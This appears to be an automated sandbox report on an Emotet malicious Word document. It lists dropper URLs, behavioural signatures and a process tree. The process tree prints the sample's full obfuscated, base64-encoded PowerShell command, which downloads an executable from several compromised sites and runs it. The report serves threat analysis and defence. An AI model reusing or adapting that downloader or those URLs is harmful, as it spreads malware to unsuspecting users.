Analysis

  • max time kernel
    136s
  • max time network
    134s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    03/09/2020, 11:27

General

  • Target
    emotet_e2_53127a8e5ec3f97813a578af979f66f8a5a9d0b81ddebcd95ab73be9461b5cd3_2020-09-03__112552._doc.doc
  • Size 250KB
  • Sample200903-hehl375zda
  • SHA256 53127a8e5ec3f97813a578af979f66f8a5a9d0b81ddebcd95ab73be9461b5cd3
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://www.agentstepp.com/ww12/6ZI/

  • exe.dropper

    http://badaia.net/baiaseu/m4G4chJ/

  • exe.dropper

    http://www.bambagiotti.it/shop/ymwU6/

  • exe.dropper

    http://bbcalegal.com/attachments/AAyd/

  • exe.dropper

    http://mezes.de/title_htm_files/Mb/

  • exe.dropper

    http://computerfastfix.co.uk/css/DXj/

  • exe.dropper

    http://sacentrs.lv/wp-content/uploads/2018/Cc/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 11 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_53127a8e5ec3f97813a578af979f66f8a5a9d0b81ddebcd95ab73be9461b5cd3_2020-09-03__112552._doc.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:732
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc
    1⤵
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Suspicious use of AdjustPrivilegeToken
    PID:488
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e JABOAHYANABoADkAXwAyAD0AKAAoACcATgBwACcAKwAnAGYAegBtACcAKQArACcAbQBpACcAKQA7ACYAKAAnAG4AZQB3AC0AaQAnACsAJwB0ACcAKwAnAGUAbQAnACkAIAAkAGUAbgB2ADoAVQBTAGUAcgBwAFIATwBmAGkAbABlAFwAbAA3ADAAZwBFADAAMgBcAEsARQByAGkAZgB4ADQAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABpAFIARQBjAFQAbwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBjAHUAUgBpAFQAYABZAGAAUABSAE8AVABvAGMAYABvAGwAIgAgAD0AIAAoACgAJwB0AGwAcwAnACsAJwAxACcAKQArACgAJwAyACwAJwArACcAIAB0AGwAJwArACcAcwAxACcAKQArACgAJwAxACwAIAAnACsAJwB0AGwAJwApACsAJwBzACcAKQA7ACQASwBqAGwAaQBpADAAegAgAD0AIAAoACcATABmACcAKwAoACcAcQAnACsAJwBnAHcAMwAnACkAKQA7ACQASwByAHgAOAAzAGMAaQA9ACgAJwBUACcAKwAnAHIAJwArACgAJwBkADEAJwArACcAeABmAHMAJwApACkAOwAkAEoAaABfAGwANwB0AHIAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACgAJwBWAHgAJwArACcAdwAnACkAKwAnAEwANwAnACsAJwAwAGcAJwArACgAJwBlADAAJwArACcAMgBWAHgAJwArACcAdwBLAGUAcgBpACcAKQArACgAJwBmAHgANAAnACsAJwBWAHgAJwApACsAJwB3ACcAKQAgACAALQBjAFIAZQBQAEwAYQBjAGUAIAAgACgAJwBWAHgAJwArACcAdwAnACkALABbAEMASABBAFIAXQA5ADIAKQArACQASwBqAGwAaQBpADAAegArACgAJwAuACcAKwAoACcAZQB4ACcAKwAnAGUAJwApACkAOwAkAEwAZQAyAHgAegA0AGIAPQAoACcAQgAnACsAKAAnADgAbgAzAGEAJwArACcAZwB4ACcAKQApADsAJABVAHIAawBnAG8AOABrAD0AJgAoACcAbgBlACcAKwAnAHcALQBvAGIAJwArACcAagBlACcAKwAnAGMAdAAnACkAIABuAEUAVAAuAHcARQBiAGMAbABpAGUAbgB0ADsAJABUAF8AZwB1ADAAeAB2AD0AKAAoACcAaAB0ACcAKwAnAHQAJwApACsAJwBwACcAKwAoACcAOgAnACsAJwAvAC8AJwArACcAdwB3AHcALgBhACcAKQArACcAZwBlACcAKwAoACcAbgB0ACcAKwAnAHMAdABlAHAAcAAuACcAKwAnAGMAJwApACsAJwBvACcAKwAoACcAbQAnACsAJwAvAHcAJwApACsAKAAnAHcAMQAnACsAJwAyACcAKwAnAC8ANgBaAEkALwAqAGgAdAB0AHAAOgAvAC8AYgAnACsAJwBhACcAKwAnAGQAJwArACcAYQAnACkAKwAnAGkAYQAnACsAJwAuAG4AJwArACgAJwBlAHQAJwArACcALwBiACcAKQArACgAJwBhAGkAJwArACcAYQBzACcAKQArACcAZQB1ACcAKwAnAC8AbQAnACsAKAAnADQARwAnACsAJwA0ACcAKQArACgAJwBjACcAKwAnAGgASgAnACkAKwAoACcALwAqACcAKwAnAGgAdAAnACkAKwAoACcAdABwADoALwAvAHcAdwB3AC4AJwArACcAYgBhACcAKwAnAG0AJwApACsAJwBiAGEAJwArACgAJwBnACcAKwAnAGkAbwB0AHQAaQAuACcAKwAnAGkAdAAnACkAKwAnAC8AcwAnACsAKAAnAGgAbwBwAC8AJwArACcAeQBtACcAKwAnAHcAJwArACcAVQA2AC8AJwApACsAKAAnACoAaAB0ACcAKwAnAHQAcAAnACkAKwAoACcAOgAnACsAJwAvAC8AJwApACsAKAAnAGIAYgBjAGEAJwArACcAbABlAGcAYQAnACkAKwAnAGwAJwArACcALgBjACcAKwAnAG8AbQAnACsAJwAvACcAKwAoACcAYQB0ACcAKwAnAHQAJwApACsAJwBhACcAKwAnAGMAJwArACgAJwBoAG0AJwArACcAZQAnACkAKwAnAG4AdAAnACsAJwBzACcAKwAnAC8AQQAnACsAJwBBAHkAJwArACgAJwBkAC8AKgBoAHQAJwArACcAdAAnACsAJwBwADoAJwApACsAKAAnAC8AJwArACcALwBtACcAKQArACcAZQAnACsAJwB6ACcAKwAnAGUAJwArACgAJwBzACcAKwAnAC4AZABlACcAKQArACgAJwAvAHQAJwArACcAaQAnACkAKwAoACcAdAAnACsAJwBsAGUAXwAnACkAKwAnAGgAdAAnACsAKAAnAG0AXwAnACsAJwBmAGkAbAAnACkAKwAnAGUAJwArACcAcwAnACsAKAAnAC8ATQAnACsAJwBiAC8AKgAnACkAKwAoACcAaAAnACsAJwB0AHQAJwApACsAJwBwACcAKwAnADoALwAnACsAKAAnAC8AYwBvACcAKwAnAG0AcAB1AHQAZQAnACsAJwByACcAKQArACcAZgAnACsAKAAnAGEAJwArACcAcwB0ACcAKQArACgAJwBmAGkAeAAuAGMAJwArACcAbwAnACkAKwAnAC4AJwArACgAJwB1AGsALwAnACsAJwBjAHMAcwAvACcAKQArACgAJwBEACcAKwAnAFgAagAvACcAKwAnACoAaAB0ACcAKQArACgAJwB0AHAAOgAvAC8AJwArACcAcwBhACcAKwAnAGMAZQBuACcAKwAnAHQAJwArACcAcgBzACcAKQArACgAJwAuAGwAJwArACcAdgAvAHcAJwApACsAKAAnAHAALQAnACsAJwBjAG8AbgB0AGUAJwApACsAKAAnAG4AdAAnACsAJwAvACcAKQArACgAJwB1AHAAbAAnACsAJwBvACcAKQArACcAYQAnACsAJwBkAHMAJwArACgAJwAvACcAKwAnADIAMAAxADgALwBDAGMAJwArACcALwAnACkAKQAuACIAUwBgAFAATABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABUAGEAbwAyAGsAYwBfAD0AKAAnAEgANAAnACsAKAAnAG8AaABqACcAKwAnAHgAdwAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEIAZgB3ADgAYgB1ADkAIABpAG4AIAAkAFQAXwBnAHUAMAB4AHYAKQB7AHQAcgB5AHsAJABVAHIAawBnAG8AOABrAC4AIgBkAG8AYAB3AE4AYABMAG8AYABBAEQAZgBpAGwARQAiACgAJABCAGYAdwA4AGIAdQA5ACwAIAAkAEoAaABfAGwANwB0AHIAKQA7ACQAWQB2AGEAYgA3AGUAOAA9ACgAKAAnAEsAeAA3ACcAKwAnADYAegAnACkAKwAnAHIAdwAnACkAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQAnACsAJwBJAHQAZQAnACsAJwBtACcAKQAgACQASgBoAF8AbAA3AHQAcgApAC4AIgBsAGAARQBuAEcAdABIACIAIAAtAGcAZQAgADMAMQA4ADEANwApACAAewAmACgAJwBJAG4AdgBvAGsAJwArACcAZQAnACsAJwAtAEkAdABlAG0AJwApACgAJABKAGgAXwBsADcAdAByACkAOwAkAE0AMAB3ADIAMwBqAG8APQAoACcAUABuACcAKwAoACcANwBwACcAKwAnADYAMgAnACkAKwAnAG8AJwApADsAYgByAGUAYQBrADsAJABLADUAcABnAHYAMgB4AD0AKAAnAFUAbQAnACsAKAAnAHkAJwArACcAaABlACcAKQArACcAcQA1ACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVQBuADMAegBfAGgAZwA9ACgAKAAnAFEAJwArACcAOQBqACcAKQArACcAMwBhACcAKwAnAGgAdgAnACkA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1752
    • C:\Users\Admin\L70ge02\Kerifx4\Lfqgw3.exe
      "C:\Users\Admin\L70ge02\Kerifx4\Lfqgw3.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:480
      • C:\Windows\SysWOW64\mfAACEnc\mrt100.exe
        "C:\Windows\SysWOW64\mfAACEnc\mrt100.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:3756

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/480-12-0x0000000000690000-0x000000000069C000-memory.dmp

        memory/732-3-0x0000026F9CEC1000-0x0000026F9CEC6000-memory.dmp

        memory/732-5-0x0000026F9CEA0000-0x0000026F9CEC1000-memory.dmp

        memory/732-4-0x0000026F9CEC1000-0x0000026F9CEC6000-memory.dmp

        memory/732-0-0x00007FFFB8D00000-0x00007FFFB93C6000-memory.dmp

        memory/732-2-0x0000026F9CEA0000-0x0000026F9CEC1000-memory.dmp

        memory/732-1-0x0000026F9CDF7000-0x0000026F9CE08000-memory.dmp

        memory/1752-6-0x00007FFFB17E0000-0x00007FFFB21CC000-memory.dmp

        memory/1752-7-0x00000224FA110000-0x00000224FA111000-memory.dmp

        memory/1752-8-0x00000224FA3D0000-0x00000224FA3D1000-memory.dmp